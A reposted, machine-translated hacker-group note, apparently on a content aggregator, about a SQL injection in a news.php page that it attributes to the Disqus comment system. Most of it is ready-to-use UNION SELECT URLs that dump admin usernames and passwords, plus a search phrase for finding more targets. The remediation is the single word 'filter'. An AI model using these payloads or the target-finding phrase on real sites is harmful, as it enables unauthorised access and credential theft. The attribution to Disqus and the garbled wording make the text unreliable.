Famous real-time comment system Disqus SQL injection vulnerability and repair

Source: Internet
Author: User

Disqus is a world-famous real-time comment system. If you don't know about it, You can Google it yourself.

Reprinted please indicate from: Silic Group Hacker Army first release

Well, this vulnerability is too weak.

In fact, news. php does not filter the id value. Check the instance:

Http://www.bkjia.com/news. php? Id =-1 + union + select + 1, 2, 3, 4, GROUP_CONCAT (DISTINCT + column_name), 6, 7, 8 + from + information_schema.columns + where + table_name = 0x61646d696e

 


Http://www.bkjia.com/news. php? Id =-1 + union + select + 1, 2, 3, 4, GROUP_CONCAT (DISTINCT + name0988b, 0x5f, pass0988a), 6, 7, 8 + from + admin


The test method is as follows:
Disqus_site_url/news. php? Id =-1 + union + select + 1, 2, 3, 4, GROUP_CONCAT (DISTINCT + name0988b, 0x5f, pass0988a), 6, 7, 8 + from + admin

Search for Google keywords,
Below is a blog comments powered by Disqus

The fix is: Filter

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.